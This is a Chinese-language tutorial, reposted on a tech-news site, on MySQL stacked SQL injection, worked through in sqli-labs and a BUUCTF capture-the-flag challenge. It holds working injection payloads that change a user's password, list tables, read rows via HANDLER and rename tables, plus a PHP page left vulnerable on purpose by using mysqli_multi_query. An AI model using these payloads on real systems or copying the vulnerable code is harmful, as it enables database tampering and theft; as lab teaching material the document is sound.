iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >sql注入之堆叠注入
  • 846
分享到

sql注入之堆叠注入

sqlmysqlphp信息安全网络安全 2023-09-09 05:09:49 846人浏览 泡泡鱼
摘要

一、堆叠注入的原理 Mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行

一、堆叠注入的原理

Mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句


比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

  • select * from student;
    HTWwvV.png

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

  • select * from student;select current_user();
    HThjHS.png

显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程

Created with Raphaël 2.3.0 WEB输入框 恶意sql(;show tables #) 是否存在堆叠注入 输出查出的表信息 构造其他恶意sql yes no

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如PHPmysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

可以做一个简单的实验,创建test.html和test.php两个文件内容分别为

  • test.html
    <html>        <head><title>学生ID查询title><head>        <body>            <fORM method="get" action="index.php">                <input type="text" placeholder="输入学生id查询成绩">                <br>                <input type="submit">            form>        body>    html>
  • index.php (页面写的有点着急不要介意哈!
$id=$_GET['id'];$con=mysqli_connect("localhost","root","123","test");if (mysqli_connect_errno($con)){    echo "Failed to connect to MySQL: ".mysqli_connect_error();}mysqli_select_db($con, "test");$sql="SELECT * FROM student WHERE id='$id'";mysqli_multi_query($con, $sql);$result = mysqli_store_result($con);$row = mysqli_fetch_row($result);print_r($row);echo "
"
;echo "you sql: ".$sql.";";mysqli_close($con);?>

在mysql命令行中创建一个test数据库,再创建一个student表插入一些数据

create database test;use test;create table student( id int, name varchar(100), score varchar(100));insert into student(id,name,score) values(1,"toert","100"),(2,"giao","10");

先检查一下页面功能是否正常

H7Od4x.png

直接构造堆叠注入去创建一张test表参照student表的数据

  • ?id=1’;create table test like student;#
    H7XJRf.png
    H7XBon.png

可以看到原来的sql语句经过堆叠注入恶意构造变成了SELECT * FROM student WHERE id=‘1’;create table test like student;

三、堆叠注入实战

0x1 sqli-labs38关卡

sqli-labs靶场包含了很多类型的sql注入环境,不知道怎么搭建的可以看上一篇的sql注入环境搭建


传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入

  • ?id=1'
    HH0AKJ.md.png
  • ?id=1' or '1'='1
    HH0Q2D.md.png

经过测试存在uNIOn联合注入,使用联合注入爆破出users表中有id、username、passWord三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行

  • 1' union select 1,2,3;update users set password=123 where id=1--+
    HHxCBF.md.png

然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!

  • ?id=1
    HHxtjf.png

0x2 BUUCTF的一道堆叠注入题目

测试注入点发现GET型字符注入,

  • ?inject=1' or '1'='1
    Hb3IgI.md.png

order by爆破字段2

  • ?inject=1' order by 3%23
    Hb8uKx.png

配合union select发现过滤规则

  • ?inject=1' union select 1,2%23
    HbGSFe.png

没有过滤分号,测试堆叠注入成功,查询当前数据库的表有1919810931114514words两张表

  • ?inject=1';show tables%23
    HbGBOx.png

接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来

  • ?inject=-1’;show columns from `1919810931114514` %23
    HbGX1s.png

因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据,help查看用法如下

  • help handler;
    HbqKZd.png
  1. handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
  2. handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
  3. handler 别名 close;(将这个句柄实例关闭)

了解handler的用法再配合堆叠注入拿到flag

  • ?inject=1';handler1919810931114514open as toert;handler toert read next%23
    HbOtEj.png

对于这道题目网上搜了一下还有一种做法,就是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来,具体payload如下

  • ?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;
    HbzU1I.png
  • ?id=1' or '1'='1
    HqSkvt.png

第二种通过修改表名字段的方式最好再用alter table add将1919810931114514表新增一个名为data列,这样就完美模拟了原来的words表结构,没有增加data列是因为目标原本的select语句应该是select * from words where id=’’,因为加了“*”所以什么都能查出来,如果语句为select id,data from words,那用原本的方法就没办法查出flag值了,因为找不到data列select语句会报错,针对这个情况可以做一个简单的实验


使用select查询固定列名信息

  • select id,name from student
    HbxLm8.png

当student表中没有name字段后再通过刚刚的语句就会报错

  • alter table drop name;
  • select id,name from student;
    HbzZtJ.png

来源地址:https://blog.csdn.net/weixin_42566218/article/details/122998991

--结束END--

本文标题: sql注入之堆叠注入

本文链接: https://www.lsjlt.com/news/400752.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • SQL注入教程之报错注入
    目录SQL报错注入概述报错注入的前提条件Xpath类型函数extractvalue()updatexml()其他函数floor()、rand()、count()、group...
    99+
    2024-04-02
  • pikachu之SQL注入
    一. pikachu介绍 1.1 简介 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 1.2 pikac...
    99+
    2023-09-02
    sql php 安全
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • SQL注入之sqlmap入门学习
    目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名称...
    99+
    2023-05-12
    sqlmap入门 sqlmap注入
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • SQL注入之临时表
    目录 一、什么是临时表: 二、临时表生成场景:  性质1: 性质2: 性质3:  三、临时表与union进阶利用: 四、利用场景: 一、什么是临时表: 是建立在系统临时文件夹中的表;只在当前连接可见,当关闭连接时,MySQL...
    99+
    2023-09-06
    sql mysql 数据库 web安全
  • sql注入教程之类型以及提交注入
    目录参数类型明确请求方法1.GET请求2.POST請求3.COOKIE注入4.http头注入总结参数类型 这里说的参数是源码中存在注入的地方。 其中参数类型有:数字、字符、搜索、js...
    99+
    2024-04-02
  • SQL注入进阶-order by注入
    目录 01-Order By简介 02-Order By注入场景 03-Order By注入姿势 03.1-结合union select进行盲注 03.2-结合if()进行盲注 03.3-结合if() + sleep()进行盲注 ...
    99+
    2023-08-31
    sql php
  • 6.简单sql注入之3
    进去输入1观察发现:        2,3都只有一个结果Hello!,我们输入4观察一下    发现空白,于是输入sql注入语句:1' and '1'='1        没有报错,也有显示Hello!于是判断出,该题目没有过滤,只能用基于...
    99+
    2023-01-31
    简单 sql
  • sql注入之万能密码
    asp aspx万能密码 1:”or “a”=”a 2: ‘)or(‘a’=’a 3:or 1=1– 4:’or 1=1– 5:a’or’ 1=1– 6:”or 1=1– 7:’or’a’=’a 8:”or”=”a’=’a ...
    99+
    2023-09-17
    网络安全 Powered by 金山文档
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • SQL注入之绕过is_numeric过滤
    目录 预备知识PHP常用的过滤类函数is_numeric()函数介绍 实验目的实验环境实验步骤一通过源代码审计,发现临时文件 实验步骤二通过分析源代码的执行逻辑,了解程序的功能,发现程...
    99+
    2023-08-31
    数据库 php mysql sql 安全
  • 实战感受SQL注入(手工注入)
    前言 在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。 实战感受SQL注入 墨者学院手工SQL注入...
    99+
    2023-08-31
    sql 数据库 php
  • Web网络安全分析堆叠查询注入攻击原理
    目录1.堆叠查询注入攻击2.堆叠准入代码分析1.堆叠查询注入攻击 堆叠查询注入攻击的测试地址:http://127.0.0.1/sqli/duidie.php?id=1。 堆...
    99+
    2024-04-02
  • 简单聊一聊SQL注入及防止SQL注入
    目录SQL注入附防止sql注入的一些建议总结SQL注入 SQL注入是通过操作输入来修改事先定义好的SQL语句,对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入...
    99+
    2024-04-02
  • sql注入之类型以及提交注入的示例分析
    这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:...
    99+
    2023-06-20
  • SQL注入基础
    引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成...
    99+
    2023-09-18
    数据库 服务器 mysql
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作